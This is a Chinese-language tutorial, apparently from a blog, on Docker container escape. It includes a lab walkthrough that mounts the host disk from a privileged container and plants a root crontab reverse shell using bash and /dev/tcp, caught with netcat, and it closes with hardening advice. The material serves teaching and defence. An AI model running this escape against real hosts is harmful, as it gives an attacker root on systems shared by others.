Docker逃逸指容器可以访问到宿主主机的权限。
原因
- 内核漏洞引起
- Docker 软件设计引起,如2019年2月被爆出来过一个 Docker 逃逸漏洞
CVE-2019-5736 - Docker 特权模式(如
docker run --privileged)与配置不当引起
Docker逃逸实验
特权模式 + 目录挂载
$ docker run -it --privileged ubuntu /bin/bash- 容器内看到宿主机的磁盘目录
$ docker exec -it 023 bash
root@0239a461d3c2:/# cat /etc/issue
Ubuntu 20.04.3 LTS \n \l
root@0239a461d3c2:/# fdisk -l
...
Disk /dev/sda: 100 GiB, 107374182400 bytes, 209715200 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: EE6B35AB-2B9A-4FE0-81F3-03A8B0BB88CC
...- 将
/dev/sda挂载到容器内
root@0239a461d3c2:/# mkdir /test
root@0239a461d3c2:/# mount /dev/sda2 /test
root@0239a461d3c2:/# ls /test/
bin cdrom etc lib lib64 media opt root sbin srv sys usr
boot dev home lib32 libx32 mnt proc run snap swapfile tmp var
root@0239a461d3c2:/# ls /test/root/
snap- 构造反弹shell,连接宿主机
通过 crontab 实现宿主机连接到容器,172.17.0.2 为容器 ip 地址
echo '* * * * * bash -i >& /dev/tcp/172.17.0.2/8888 0>&1' >> /test/var/spool/cron/crontabs/root- 容器内安装
netcat并监听在8888端口,等待宿主机连接
root@0239a461d3c2:/# apt udpate
root@0239a461d3c2:/# apt install netcat-openbsd -y
root@0239a461d3c2:/# nc -nvlp 8888
Listening on 0.0.0.0 8888
Connection received on 172.17.0.1 47284
root@ubuntu:~# ls
ls
1
snap
root@ubuntu:~#Docker 逃逸防御
- 更新 docker/runc/k8s 到使用最新稳定版,规避 CVE-2019-14271、CVE-2019-5736等漏洞
- Linux内核版本>=2.6.22或>=4.14,规避脏牛 CVE-2016-5195、CVE-2017–1000405
- 不建议以 root 权限运行 Docker 服务
- 不建议以
--privileged(特权模式)启动 Docker 容器 - 不建议将容器以
—cap-add=SYSADMIN启动SYSADMIN表示容器进程允许执行mount、umount等系统管理操作,存在容器逃逸风险
- 不建议将宿主机目录挂载至容器内
- 不建议挂载
Docker Socket到容器 - 不建议挂载挂载宿主机的
procfs到容器
容器安全
最近更新
最新评论